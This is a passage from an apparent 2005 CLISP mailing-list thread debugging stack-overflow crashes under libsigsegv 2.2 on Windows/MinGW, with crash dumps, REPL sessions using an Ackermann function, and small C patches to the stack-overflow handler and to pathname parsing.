eip = 0x433ad5
eax = 0x4dc201, ebx = 0xbd10ec, ecx = 0xbd10e0, edx = 0x22025f71
esi = 0x220281d1, edi = 0x220281c8, ebp = 0x22b058, esp = 0x22af20
ACKERMANN
[2]> (ackermann 3 11)
Exception!
Code = 0xc00000fd
Flags = 0x0
Address = 0x435637
Params: 0x1, 0x32ffc,
Registers:
eip = 0x435637
eax = 0x221656a9, ebx = 0xc21428, ecx = 0x0, edx = 0x4daaa2
esi = 0x5d03e2b3, edi = 0x4daaa2, ebp = 0x33048, esp = 0x32fe0

*** - Program stack overflow. RESET
Exception!
Code = 0xc00000fd
Flags = 0x0
Address = 0x42d4f0
Params: 0x0, 0x31ffc,
Registers:
eip = 0x42d4f0
eax = 0x42d4c0, ebx = 0x32000, ecx = 0x77c3ef3b, edx = 0x0
esi = 0x1, edi = 0x0, ebp = 0x22fdb0, esp = 0x22fd98

*** - Program stack overflow. RESET
Exception!
Code = 0xc0000005
Flags = 0x0
Address = 0x42d4f0
Params: 0x0, 0x30ffc,
Registers:
eip = 0x42d4f0
eax = 0x42d4c0, ebx = 0x31000, ecx = 0x77c3ef3b, edx = 0x0
esi = 0x1, edi = 0x0, ebp = 0x22fdb0, esp = 0x22fd98

*** - handle_fault error2 ! address = 0x30ffc not in [0x22010000,0x2215e538) !
SIGSEGV cannot be cured. Fault address = 0x30ffc.
Permanently allocated: 88384 bytes.
Currently in use: 1733100 bytes.
Free space: 491252 bytes.


Wednesday, March 23, 2005, 11:10:41 AM, you wrote:

> [This picks up a thread started with Bruno re: libsigsegv 2.2 -- the
> problems are (a) stack overflow when there is plenty of memory, and
> (b) an Access Violation crash on the 2nd stack overflow.]

> I tried getting more info by running a debug version of CLISP built with
> ./configure --with-debug --with-mingw --build build-g ;

> but built this way, there is no crash, but the stack doesn't grow
> enough to compute (ackermann 3 11).

> On the other hand, I got a strange error, as you can see in the
> console dribble below
>   EVAL: variable L has no value
> in the evaluation of (run-ackermann).

> It looks like the GENERATIONAL_GC is not used in the debug version;
> perhaps this is a clue.

> e

> $ uname -a
> MINGW32_NT-5.1 DAWNE 1.0.11(0.46/3/2) 2004-04-30 18:55 i686 unknown

> $ ./clisp --version
> GNU CLISP 2.33.83 (2005-03-14) (built 3320580763) (memory 3320581251)
> Software: GNU C 3.4.2 (mingw-special) 
> gcc -mno-cygwin -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit
> -Wreturn-type  -Wno-sign-compare -falign-functions=4 -D_WIN32 -g
> -DDEBUG_OS_ERROR -DDEBUG_SPVW -DDEBUG_BYTECODE -DSAFETY=3 -DUNICODE
> -DNO_TERMCAP_NCURSES -DDYNAMIC_FFI -DNO_GETTEXT -I. -x none
> libcharset.a libavcall.a libcallback.a  -luser32 -lws2_32 -lole32
> -loleaut32 -luuid  -L/usr/local/lib -lsigsegv 
> SAFETY=3 HEAPCODES STANDARD_HEAPCODES SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY
> libsigsegv 2.2
> Features: 
> (REGEXP SYSCALLS LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP LISP=CL
>  INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI UNICODE
>  BASE-CHAR=CHARACTER PC386 WIN32)
> Installation directory: C:\dev\clisp\clisp\build-g\
> User language: ENGLISH
> Machine: PC/386 (PC/686) dawne [192.168.168.26]


> Reserved address range 0x22010000-0x5d08ffff .
> STACK depth: 16363
> SP depth: 1073612826
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>   I I I I I I I      8     8   8           8     8     o  8    8
>   I  \ `+' /  I      8         8           8     8        8    8
>    \  `-+-'  /       8         8           8      ooooo   8oooo
>     `-__|__-'        8         8           8           8  8
>         |            8     o   8           8     o     8  8
>   ------+------       ooooo    8oooooo  ooo8ooo   ooooo   8

> Copyright (c) Bruno Haible, Michael Stoll 1992, 1993
> Copyright (c) Bruno Haible, Marcus Daniels 1994-1997
> Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998
> Copyright (c) Bruno Haible, Sam Steingold 1999-2000
> Copyright (c) Sam Steingold, Bruno Haible 2001-2005

> [1]> (defun ackermann (m n)
>   (declare (type integer m n))
>   (cond
>     ((zerop m) (1+ n))
>     ((zerop n) (ackermann (1- m) 1))
>     (t (ackermann (1- m) (ackermann m (1- n))))))
> ACKERMANN

> [2]> (defun run-ackermann ()
>    (ackermann 3 11))
> RUN-ACKERMANN
> [3]> (run-ackermann)

> *** - EVAL: variable L has no value
> The following restarts are available:
> USE-VALUE      :R1      You may input a value to be used instead of L.
> STORE-VALUE    :R2      You may input a new value for L.
> ABORT          :R3      ABORT
> Break 1 [4]> :r3
> [5]> (run-ackermann)

> *** - EVAL: variable L has no value
> The following restarts are available:
> USE-VALUE      :R1      You may input a value to be used instead of L.
> STORE-VALUE    :R2      You may input a new value for L.
> ABORT          :R3      ABORT
> Break 1 [6]> (ackermann 3 11)

> *** - Program stack overflow. RESET
> Break 1 [6]> (ackermann 3 11)

> *** - Program stack overflow. RESET
> Break 1 [6]> (ackermann 3 11)

> *** - Program stack overflow. RESET
> Break 1 [6]> :abort
> :ABORT
> Break 1 [6]> (reset)

> *** - EVAL: undefined function RESET
> The following restarts are available:
> USE-VALUE      :R1      You may input a value to be used instead of (FDEFINITIO
>  'RESET).
> RETRY          :R2      Retry
> STORE-VALUE    :R3      You may input a new value for (FDEFINITION 'RESET).
> ABORT          :R4      ABORT
> ABORT          :R5      ABORT
> Break 2 [7]> :r5
> [8]> (ackermann 3 11)

> *** - Program stack overflow. RESET
> [9]> (ackermann 3 11)

> *** - Program stack overflow. RESET
> [10]> (ackermann 3 11)

> *** - Program stack overflow. RESET
> [11]> (ackermann 3 11)

> *** - Program stack overflow. RESET
> [12]> *features*
> (:REGEXP :SYSCALLS :LOOP :COMPILER :CLOS :MOP :CLISP :ANSI-CL :COMMON-LISP
>  :LISP=CL :INTERPRETER :SOCKETS :GENERIC-STREAMS :LOGICAL-PATHNAMES :SCREEN
>  :FFI :UNICODE :BASE-CHAR=CHARACTER :PC386 :WIN32)
> [13]>


> Tuesday, March 22, 2005, 7:03:36 PM, I wrote:

>> I can generate this problem simply by defining

>> (defun ackermann (m n)
>>   (declare (type integer m n))
>>   (cond
>>     ((zerop m) (1+ n))
>>     ((zerop n) (ackermann (1- m) 1))
>>     (t (ackermann (1- m) (ackermann m (1- n))))))

>> (defun run-ackermann ()
>>    (ackermann 3 11))

>> and entering

>> (run-ackermann)

>> in a clisp console twice. The first time it gives the
>> *** - Program stack overflow. RESET
>> message. The second time it gives the message, and crashes.

>> GNU CLISP 2.33.83 (2005-03-14) (built 3320497605) (memory 3320497960)
>> Software: GNU C 3.4.2 (mingw-special) 
>> gcc -mno-cygwin -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit
>> -Wreturn-type  -Wno-sign-compare -O2 -fexpensive-optimizations
>> -D_WIN32 -DUNICODE -DNO_TERMCAP_NCURSES -DDYNAMIC_FFI -DNO_GETTEXT
>> -I. -x none libcharset.a libavcall.a libcallback.a  -luser32
>> -lws2_32 -lole32 -loleaut32 -luuid  -L/usr/local/lib -lsigsegv 
>> SAFETY=0 HEAPCODES STANDARD_HEAPCODES GENERATIONAL_GC
>> SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY
>> libsigsegv 2.2
>> Features: 
>> (REGEXP SYSCALLS LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP LISP=CL
>>  INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI UNICODE
>>  BASE-CHAR=CHARACTER PC386 WIN32)
>> Installation directory: C:\Dev\clisp\clisp\build-mingw\
>> User language: ENGLISH
>> Machine: PC/386 (PC/686) dawne [192.168.168.26]

>> Whereas in 2.33.2 I get no crash...

>> [1]> *features*
>> (:CLOS :LOOP :COMPILER :CLISP :ANSI-CL :COMMON-LISP :LISP=CL
>> :INTERPRETER :SOCKETS :GENERIC-STREAMS
>>  :LOGICAL-PATHNAMES :SCREEN :FFI :UNICODE :BASE-CHAR=CHARACTER :PC386 :WIN32)
>> [2]> (defun ackermann (m n)
>>   (declare (type integer m n))
>>   (cond
>>     ((zerop m) (1+ n))
>>     ((zerop n) (ackermann (1- m) 1))
>>     (t (ackermann (1- m) (ackermann m (1- n))))))
>> ACKERMANN

>> [3]> (defun run-ackermann ()
>>    (ackermann 3 11))
>> RUN-ACKERMANN
>> [4]> (RUN-ACKERMANN)

>> *** - Lisp stack overflow. RESET
>> [5]> (RUN-ACKERMANN)

>> *** - Lisp stack overflow. RESET
>> [6]> (RUN-ACKERMANN)

>> *** - Lisp stack overflow. RESET
>> [7]> (RUN-ACKERMANN)

>> *** - Lisp stack overflow. RESET
>> [8]>

>> Regards,

>> e

>> Earlier I wrote...

>> Monday, March 14, 2005, 8:17:59 AM, you wrote:

>>>> libsigsegv: i386-pc-mingw32 | yes | yes | 2.2

>>> Thanks, I'm adding this to the PORTING file.

>> Hmm. I just tried running cl-bench with clisp built from CVS using
>> libsigsegv 2.2 and got an Access Violation crash. Below is the DrMinGW
>> dump. The console said:

>> === running #<benchmark FIB-RATIO for 500 runs>
>> === running #<benchmark ACKERMANN for 1 runs>

>> *** - Program stack overflow. RESET

>> *** - Program stack overflow. RESET

>> <crash>

>> There were no ACKERMANN results in the cl-bench report.

>> Regards,

>> e

>> lisp.exe caused an Access Violation at location 0041b948 in
>> module lisp.exe Reading from location 00030ffc.

>> Registers:
>> eax=004dc201 ebx=00031000 ecx=0041b930 edx=00000000 esi=00000000 edi=00030000
>> eip=0041b948 esp=0022fd98 ebp=0022fdb0 iopl=0         nv up ei pl zr na po nc
>> cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            efl=00000246

>> Call stack:
>> 0041B948  lisp.exe:0041B948
>> 0041BC6D  lisp.exe:0041BC6D
>> 0041BC92  lisp.exe:0041BC92
>> 004D0E15  lisp.exe:004D0E15  stack_overflow_handler  handler-win32.c:116
>> static void stack_overflow_handler(
>>         long unsigned int faulting_page_address = 2292428,
>>         stackoverflow_context_t context = &{
>>                 DWORD ContextFlags = ,
>>                 DWORD Dr0 = ,
>>                 DWORD Dr1 = ,
>>                 DWORD Dr2 = ,
>>                 DWORD Dr3 = ,
>>                 DWORD Dr6 = ,
>>                 DWORD Dr7 = ,
>>                 FLOATING_SAVE_AREA FloatSave = {
>>                         DWORD ControlWord = ,
>>                         DWORD StatusWord = ,
>>                         DWORD TagWord = ,
>>                         DWORD ErrorOffset = ,
>>                         DWORD ErrorSelector = ,
>>                         DWORD DataOffset = ,
>>                         DWORD DataSelector = ,
>>                         BYTEuint32[] RegisterArea = (array),
>>                         DWORD Cr0NpxState = 
>>                 },
>>                 DWORD SegGs = ,
>>                 DWORD SegFs = ,
>>                 DWORD SegEs = ,
>>                 DWORD SegDs = ,
>>                 DWORD Edi = ,
>>                 DWORD Esi = ,
>>                 DWORD Ebx = ,
>>                 DWORD Edx = ,
>>                 DWORD Ecx = ,
>>                 DWORD Eax = ,
>>                 DWORD Ebp = ,
>>                 DWORD Eip = ,
>>                 DWORD SegCs = ,
>>                 DWORD EFlags = ,
>>                 DWORD Esp = ,
>>                 DWORD SegSs = ,
>>                 BYTEuint32[] ExtendedRegisters = (array)
>>         }
>> )
>>         ...
>>          ok:
>>           for (;;)
>>>           (*stk_user_handler) (0, context);
>>         }
        
>>         ...

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> * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2005-03-22 01:05:06 +0100]:
>
> Break 1 DOMINGO[4]> (directory "PACKAGES:COM;INFORMATIMAGO;CL-LOADERS;*.*.")
>
> *** - Internal error: statement in file "pathname.d", line 1082 has been reached!!
> Please send the authors of the program a description how you produced
> this error!

do you get something similar on
(logical-pathname "sys:foo.bar.")
(instead of a parse-error?)

does the appended patch fix the problem?

thanks for the bug report!

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--- pathname.d	18 Mar 2005 04:16:39 -0500	1.359
+++ pathname.d	24 Mar 2005 18:16:03 -0500	
@@ -1348,9 +1348,9 @@
           if (eq(version,S(Kwild))) {
           } else if (equal(version,Symbol_name(S(Knewest)))) {
             version = S(Knewest);
-          } else if (all_digits(version)) { /* convert version into Integer */
+          } else if (stringp(version) && all_digits(version)) {
             pushSTACK(version); funcall(L(parse_integer),1);
-            version = value1;
+            version = value1; /* version: string -> integer */
           } else {
             version = NIL;
           }


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OK, I have found some problems that were causing these crashes, and a
couple fixes. One fix is to CLISP, and the other is to libsigsegv 2.2
While I believe the fixes are correct, the problem still remains in
slightly different form: now the second stack overflow leads to
infinite regress.

The CLISP problem was simply that the case for WIN32_NATIVE in
stackoverflow_handler() was missing.

$ diff -u spvw_sigsegv~.d spvw_sigsegv.d
--- spvw_sigsegv~.d     Mon Feb  7 16:47:21 2005
+++ spvw_sigsegv.d      Fri Mar 25 01:22:03 2005
@@ -153,6 +153,11 @@
     if (scp) { setSTACK(STACK = (gcv_object_t*)(scp->Ebx)); }
    #endif
   #endif
+  #ifdef WIN32_NATIVE
+   #ifdef I80386
+    if (scp) { setSTACK(STACK = (gcv_object_t*)(scp->Ebx)); }
+   #endif
+  #endif
   }
  #endif
   SP_ueber();

The libsigsegv 2.2 problem is that the CONTEXT and address passed up
to stackoverflow_handler() were passed in the wrong order:

$ diff -u handler-win32~.c handler-win32.c
--- handler-win32~.c    Mon Apr 28 07:01:50 2003
+++ handler-win32.c     Fri Mar 25 01:29:43 2005
@@ -168,8 +175,8 @@
               ExceptionInfo->ContextRecord->Esp = new_safe_esp;
               /* Call stack_overflow_handler(faulting_page_address).  */
               ExceptionInfo->ContextRecord->Eip = (unsigned long)&stack_overflow_handler;
-              *(unsigned long *)(new_safe_esp + 8) = faulting_page_address;
-              *(unsigned long *)(new_safe_esp + 4) = (unsigned long) ExceptionInfo->ContextRecord;
+              *(unsigned long *)(new_safe_esp + 4) = faulting_page_address;
+              *(unsigned long *)(new_safe_esp + 8) = (unsigned long) ExceptionInfo->ContextRecord;
               return EXCEPTION_CONTINUE_EXECUTION;
             }
           if (user_handler != (sigsegv_handler_t) NULL

With these two fixes there are no longer any Access Violations.

(!)

Now, if you have any clues about the resulting infinite regress:

*** - Program stack overflow. RESET

*** - Program stack overflow. RESET

*** - Program stack overflow. RESET

*** - Program stack overflow. RESET

*** - Program stack overflow. RESET

*** - Program stack overflow. RESET

*** - Program stack overflow. RESET

...

?

e

Thursday, March 24, 2005, 2:19:18 PM, I wrote:

> Following up my earlier report (below) of a crash running cl-bench's
> (ackermann 3 11) when clisp is compiled with libsigsegv 2.2 on WinXP
> with MinGW/MSYS...

> I rebuilt libsigsegv with the debug switch in handler-win32.c on. Here
> is what results by simply launching clisp.exe and entering:

> (defun ackermann (m n) (declare (type integer m n))
> (cond ((zerop m) (1+ n)) ((zerop n) (ackermann (1- m) 1))
> (t (ackermann (1- m) (ackermann m (1- n))))))
> (ackermann 3 11)

> This is different from the last report where I had to run (ackermann 3
> 11) twice before there was a crash.

> I assume all the "Code = 0xc0000005" exceptions below are normal
> Generational GC write barriers.

> The stack after the first stack overflow trap is at 0x32fe0 whereas
> the stack starts out at about 0x22fb38. Some observations:

> 1. the fault occurs at 0x30ffc which looks a lot like the stack wasn't
> really unwound

> 2. register ebx is 0x31000 after the second trap (0x32000 after the
> first)

> 3. I notice that non-windows platforms set STACK (%ebx) back to
> something else from the CONTEXT inside stackoverflow_handler(). The
> syntax of the UNIX_CYGWIN32 case should work in WIN32_NATIVE -- what
> is this supposed to do? The value (e.g., 0x32000) doesn't look too
> useful for STACK to me.

> e

> Exception!
> Code = 0xc0000005
> Flags = 0x0
> Address = 0x47c2c6
> Params: 0x1, 0x2215d498,
> Registers:
> eip = 0x47c2c6
> eax = 0x2215d445, ebx = 0xbd1008, ecx = 0x0, edx = 0x0
> esi = 0x2215d445, edi = 0x5d03f45b, ebp = 0x22fb48, esp = 0x22fb38
> Exception!
> Code = 0xc0000005
> Flags = 0x0
> Address = 0x47c2c6
> Params: 0x1, 0x2213c428,
> Registers:
> eip = 0x47c2c6
> eax = 0x2213c3d5, ebx = 0xbd1008, ecx = 0x0, edx = 0x0
> esi = 0x2213c3d5, edi = 0x5d049d63, ebp = 0x22fb48, esp = 0x22fb38
> Exception!
> Code = 0xc0000005
> Flags = 0x0
> Address = 0x47c2c6
> Params: 0x1, 0x2213b2fc,
> Registers:
> eip = 0x47c2c6
> eax = 0x2213b2a9, ebx = 0xbd1008, ecx = 0x0, edx = 0x0
> esi = 0x2213b2a9, edi = 0x5d049d6b, ebp = 0x22fb48, esp = 0x22fb38
> Exception!
> Code = 0xc0000005
> Flags = 0x0
> Address = 0x4928e4
> Params: 0x1, 0x2201f8a8,
> Registers:
> eip = 0x4928e4
> eax = 0x4000031, ebx = 0xbd1008, ecx = 0x2201f8a5, edx = 0x58cd30
> esi = 0x2215f495, edi = 0x0, ebp = 0x22be28, esp = 0x22be00
>   i i i i i i i       ooooo    o        ooooooo   ooooo   ooooo
>   I I I I I I I      8     8   8           8     8     o  8    8
>   I  \ `+' /  I      8         8           8     8        8    8
>    \  `-+-'  /       8         8           8      ooooo   8oooo
>     `-__|__-'        8         8           8           8  8
>         |            8     o   8           8     o     8  8
>   ------+------       ooooo    8oooooo  ooo8ooo   ooooo   8

> Copyright (c) Bruno Haible, Michael Stoll 1992, 1993
> Copyright (c) Bruno Haible, Marcus Daniels 1994-1997
> Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998
> Copyright (c) Bruno Haible, Sam Steingold 1999-2000
> Copyright (c) Sam Steingold, Bruno Haible 2001-2005

> Exception!
> Code = 0xc0000005
> Flags = 0x0
> Address = 0x433ad5
> Params: 0x1, 0x220232dc,
> Registers:
> eip = 0x433ad5
> eax = 0x4dc201, ebx = 0xbd1054, ecx = 0xbd1048, edx = 0x220232d5
> esi = 0x22028e65, edi = 0x220289fa, ebp = 0x22bbe8, esp = 0x22ba60
> Exception!
> Code = 0xc0000005
> Flags = 0x0
> Address = 0x433a7f
> Params: 0x1, 0x22074b6c,
> Registers:
> eip = 0x433a7f
> eax = 0x4dc201, ebx = 0xbd100c, ecx = 0x2215d2dd, edx = 0x22074b65
> esi = 0x22bba0, edi = 0x22074b2d, ebp = 0x22bb68, esp = 0x22ba30
> [1]> Exception!
> Code = 0xc0000005
> Flags = 0x0
> Address = 0x49fc2a
> Params: 0x1, 0x2201dbc0,
> Registers:
> eip = 0x49fc2a
> eax = 0x2201dbad, ebx = 0xbd1098, ecx = 0x1, edx = 0xbd1094
> esi = 0xbd1080, edi = 0x22b590, ebp = 0x22b478, esp = 0x22b470
> (defun ackermann (m n) (declare (type integer m n)) (cond ((zerop m) (1+ n)) ((z
> erop n) (ackermann (1- m) 1)) (t (ackermann (1- m) (ackermann m (1- n))))))
> Exception!
> Code = 0xc0000005
> Flags = 0x0
> Address = 0x425980
> Params: 0x1, 0x2210cfb8,
> Registers:
> eip = 0x425980
> eax = 0x28, ebx = 0xbd1098, ecx = 0x2201dbad, edx = 0xc80
> esi = 0x0, edi = 0x2210cfb1, ebp = 0x22b438, esp = 0x22b430
> Exception!
> Code = 0xc0000005
> Flags = 0x0
> Address = 0x425980
> Params: 0x1, 0x2210d000,
> Registers:
> eip = 0x425980
> eax = 0x6d, ebx = 0xbd1098, ecx = 0x2201dbad, edx = 0xc80
> esi = 0x12, edi = 0x2210cfb1, ebp = 0x22b438, esp = 0x22b430
> Exception!
> Code = 0xc0000005
> Flags = 0x0
> Address = 0x425c24
> Params: 0x1, 0x22030fcc,
> Registers:
> eip = 0x425c24
> eax = 0x0, ebx = 0xbd1120, ecx = 0x2201dbc5, edx = 0xd
> esi = 0x64, edi = 0x22030fc5, ebp = 0x22b2b8, esp = 0x22b2a0
> Exception!
> Code = 0xc0000005
> Flags = 0x0
> Address = 0x4afb8b
> Params: 0x1, 0x22010cd0,
> Registers:
> eip = 0x4afb8b
> eax = 0x22010bdd, ebx = 0xbd1118, ecx = 0x3f, edx = 0x3b
> esi = 0x22010ce1, edi = 0x2216567d, ebp = 0x22b2d8, esp = 0x22b2b0
> Exception!
> Code = 0xc0000005
> Flags = 0x0
> Address = 0x4587cf
> Params: 0x1, 0x2201c5d0,
> Registers:
> eip = 0x4587cf
> eax = 0xd9944738, ebx = 0xbd10d0, ecx = 0x0, edx = 0xec4cb9ca
> esi = 0x2201c5c9, edi = 0x2201c5d0, ebp = 0x22aec8, esp = 0x22aea0
> Exception!
> Code = 0xc0000005
> Flags = 0x0
> Address = 0x433ad5
> Params: 0x1, 0x2202617c,
> Registers:
> eip = 0x433ad5
> eax = 0x4dc201, ebx = 0xbd10e0, ecx = 0xbd10d4, edx = 0x22026175
> esi = 0x220281d1, edi = 0x220281c5, ebp = 0x22b058, esp = 0x22af20
> Exception!
> Code = 0xc0000005
> Flags = 0x0
> Address = 0x433ad5
> Params: 0x1, 0x22025f78,
> Registers:
> eip = 0x433ad5
> eax = 0x4dc201, ebx = 0xbd10ec, ecx = 0xbd10e0, edx = 0x22025f71
> esi = 0x220281d1, edi = 0x220281c8, ebp = 0x22b058, esp = 0x22af20
> ACKERMANN
> [2]> (ackermann 3 11)
> Exception!
> Code = 0xc00000fd
> Flags = 0x0
> Address = 0x435637
> Params: 0x1, 0x32ffc,
> Registers:
> eip = 0x435637
> eax = 0x221656a9, ebx = 0xc21428, ecx = 0x0, edx = 0x4daaa2
> esi = 0x5d03e2b3, edi = 0x4daaa2, ebp = 0x33048, esp = 0x32fe0

> *** - Program stack overflow. RESET
> Exception!
> Code = 0xc00000fd
> Flags = 0x0
> Address = 0x42d4f0
> Params: 0x0, 0x31ffc,
> Registers:
> eip = 0x42d4f0
> eax = 0x42d4c0, ebx = 0x32000, ecx = 0x77c3ef3b, edx = 0x0
> esi = 0x1, edi = 0x0, ebp = 0x22fdb0, esp = 0x22fd98

> *** - Program stack overflow. RESET
> Exception!
> Code = 0xc0000005
> Flags = 0x0
> Address = 0x42d4f0
> Params: 0x0, 0x30ffc,
> Registers:
> eip = 0x42d4f0
> eax = 0x42d4c0, ebx = 0x31000, ecx = 0x77c3ef3b, edx = 0x0
> esi = 0x1, edi = 0x0, ebp = 0x22fdb0, esp = 0x22fd98

> *** - handle_fault error2 ! address = 0x30ffc not in [0x22010000,0x2215e538) !
> SIGSEGV cannot be cured. Fault address = 0x30ffc.
> Permanently allocated: 88384 bytes.
> Currently in use: 1733100 bytes.
> Free space: 491252 bytes.


> Wednesday, March 23, 2005, 11:10:41 AM, you wrote:

>> [This picks up a thread started with Bruno re: libsigsegv 2.2 -- the
>> problems are (a) stack overflow when there is plenty of memory, and
>> (b) an Access Violation crash on the 2nd stack overflow.]

>> I tried getting more info by running a debug version of CLISP built with
>> ./configure --with-debug --with-mingw --build build-g ;

>> but built this way, there is no crash, but the stack doesn't grow
>> enough to compute (ackermann 3 11).

>> On the other hand, I got a strange error, as you can see in the
>> console dribble below
>>   EVAL: variable L has no value
>> in the evaluation of (run-ackermann).

>> It looks like the GENERATIONAL_GC is not used in the debug version;
>> perhaps this is a clue.

>> e

>> $ uname -a
>> MINGW32_NT-5.1 DAWNE 1.0.11(0.46/3/2) 2004-04-30 18:55 i686 unknown

>> $ ./clisp --version
>> GNU CLISP 2.33.83 (2005-03-14) (built 3320580763) (memory 3320581251)
>> Software: GNU C 3.4.2 (mingw-special) 
>> gcc -mno-cygwin -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit
>> -Wreturn-type  -Wno-sign-compare -falign-functions=4 -D_WIN32 -g
>> -DDEBUG_OS_ERROR -DDEBUG_SPVW -DDEBUG_BYTECODE -DSAFETY=3 -DUNICODE
>> -DNO_TERMCAP_NCURSES -DDYNAMIC_FFI -DNO_GETTEXT -I. -x none
>> libcharset.a libavcall.a libcallback.a  -luser32 -lws2_32 -lole32
>> -loleaut32 -luuid  -L/usr/local/lib -lsigsegv 
>> SAFETY=3 HEAPCODES STANDARD_HEAPCODES SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY
>> libsigsegv 2.2
>> Features: 
>> (REGEXP SYSCALLS LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP LISP=CL
>>  INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI UNICODE
>>  BASE-CHAR=CHARACTER PC386 WIN32)
>> Installation directory: C:\dev\clisp\clisp\build-g\
>> User language: ENGLISH
>> Machine: PC/386 (PC/686) dawne [192.168.168.26]


>> Reserved address range 0x22010000-0x5d08ffff .
>> STACK depth: 16363
>> SP depth: 1073612826
>>   i i i i i i i       ooooo    o        ooooooo   ooooo   ooooo
>>   I I I I I I I      8     8   8           8     8     o  8    8
>>   I  \ `+' /  I      8         8           8     8        8    8
>>    \  `-+-'  /       8         8           8      ooooo   8oooo
>>     `-__|__-'        8         8           8           8  8
>>         |            8     o   8           8     o     8  8
>>   ------+------       ooooo    8oooooo  ooo8ooo   ooooo   8

>> Copyright (c) Bruno Haible, Michael Stoll 1992, 1993
>> Copyright (c) Bruno Haible, Marcus Daniels 1994-1997
>> Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998
>> Copyright (c) Bruno Haible, Sam Steingold 1999-2000
>> Copyright (c) Sam Steingold, Bruno Haible 2001-2005

>> [1]> (defun ackermann (m n)
>>   (declare (type integer m n))
>>   (cond
>>     ((zerop m) (1+ n))
>>     ((zerop n) (ackermann (1- m) 1))
>>     (t (ackermann (1- m) (ackermann m (1- n))))))
>> ACKERMANN

>> [2]> (defun run-ackermann ()
>>    (ackermann 3 11))
>> RUN-ACKERMANN
>> [3]> (run-ackermann)

>> *** - EVAL: variable L has no value
>> The following restarts are available:
>> USE-VALUE      :R1      You may input a value to be used instead of L.
>> STORE-VALUE    :R2      You may input a new value for L.
>> ABORT          :R3      ABORT
>> Break 1 [4]> :r3
>> [5]> (run-ackermann)

>> *** - EVAL: variable L has no value
>> The following restarts are available:
>> USE-VALUE      :R1      You may input a value to be used instead of L.
>> STORE-VALUE    :R2      You may input a new value for L.
>> ABORT          :R3      ABORT
>> Break 1 [6]> (ackermann 3 11)

>> *** - Program stack overflow. RESET
>> Break 1 [6]> (ackermann 3 11)

>> *** - Program stack overflow. RESET
>> Break 1 [6]> (ackermann 3 11)

>> *** - Program stack overflow. RESET
>> Break 1 [6]> :abort
>> :ABORT
>> Break 1 [6]> (reset)

>> *** - EVAL: undefined function RESET
>> The following restarts are available:
>> USE-VALUE      :R1      You may input a value to be used instead of (FDEFINITIO
>>  'RESET).
>> RETRY          :R2      Retry
>> STORE-VALUE    :R3      You may input a new value for (FDEFINITION 'RESET).
>> ABORT          :R4      ABORT
>> ABORT          :R5      ABORT
>> Break 2 [7]> :r5
>> [8]> (ackermann 3 11)

>> *** - Program stack overflow. RESET
>> [9]> (ackermann 3 11)

>> *** - Program stack overflow. RESET
>> [10]> (ackermann 3 11)

>> *** - Program stack overflow. RESET
>> [11]> (ackermann 3 11)

>> *** - Program stack overflow. RESET
>> [12]> *features*
>> (:REGEXP :SYSCALLS :LOOP :COMPILER :CLOS :MOP :CLISP :ANSI-CL :COMMON-LISP
>>  :LISP=CL :INTERPRETER :SOCKETS :GENERIC-STREAMS :LOGICAL-PATHNAMES :SCREEN
>>  :FFI :UNICODE :BASE-CHAR=CHARACTER :PC386 :WIN32)
>> [13]>


>> Tuesday, March 22, 2005, 7:03:36 PM, I wrote:

>>> I can generate this problem simply by defining

>>> (defun ackermann (m n)
>>>   (declare (type integer m n))
>>>   (cond
>>>     ((zerop m) (1+ n))
>>>     ((zerop n) (ackermann (1- m) 1))
>>>     (t (ackermann (1- m) (ackermann m (1- n))))))

>>> (defun run-ackermann ()
>>>    (ackermann 3 11))

>>> and entering

>>> (run-ackermann)

>>> in a clisp console twice. The first time it gives the
>>> *** - Program stack overflow. RESET
>>> message. The second time it gives the message, and crashes.

>>> GNU CLISP 2.33.83 (2005-03-14) (built 3320497605) (memory 3320497960)
>>> Software: GNU C 3.4.2 (mingw-special) 
>>> gcc -mno-cygwin -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit
>>> -Wreturn-type  -Wno-sign-compare -O2 -fexpensive-optimizations
>>> -D_WIN32 -DUNICODE -DNO_TERMCAP_NCURSES -DDYNAMIC_FFI -DNO_GETTEXT
>>> -I. -x none libcharset.a libavcall.a libcallback.a  -luser32
>>> -lws2_32 -lole32 -loleaut32 -luuid  -L/usr/local/lib -lsigsegv 
>>> SAFETY=0 HEAPCODES STANDARD_HEAPCODES GENERATIONAL_GC
>>> SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY
>>> libsigsegv 2.2
>>> Features: 
>>> (REGEXP SYSCALLS LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP LISP=CL
>>>  INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI UNICODE
>>>  BASE-CHAR=CHARACTER PC386 WIN32)
>>> Installation directory: C:\Dev\clisp\clisp\build-mingw\
>>> User language: ENGLISH
>>> Machine: PC/386 (PC/686) dawne [192.168.168.26]

>>> Whereas in 2.33.2 I get no crash...

>>> [1]> *features*
>>> (:CLOS :LOOP :COMPILER :CLISP :ANSI-CL :COMMON-LISP :LISP=CL
>>> :INTERPRETER :SOCKETS :GENERIC-STREAMS
>>>  :LOGICAL-PATHNAMES :SCREEN :FFI :UNICODE
>>> :BASE-CHAR=CHARACTER :PC386 :WIN32)
>>> [2]> (defun ackermann (m n)
>>>   (declare (type integer m n))
>>>   (cond
>>>     ((zerop m) (1+ n))
>>>     ((zerop n) (ackermann (1- m) 1))
>>>     (t (ackermann (1- m) (ackermann m (1- n))))))
>>> ACKERMANN

>>> [3]> (defun run-ackermann ()
>>>    (ackermann 3 11))
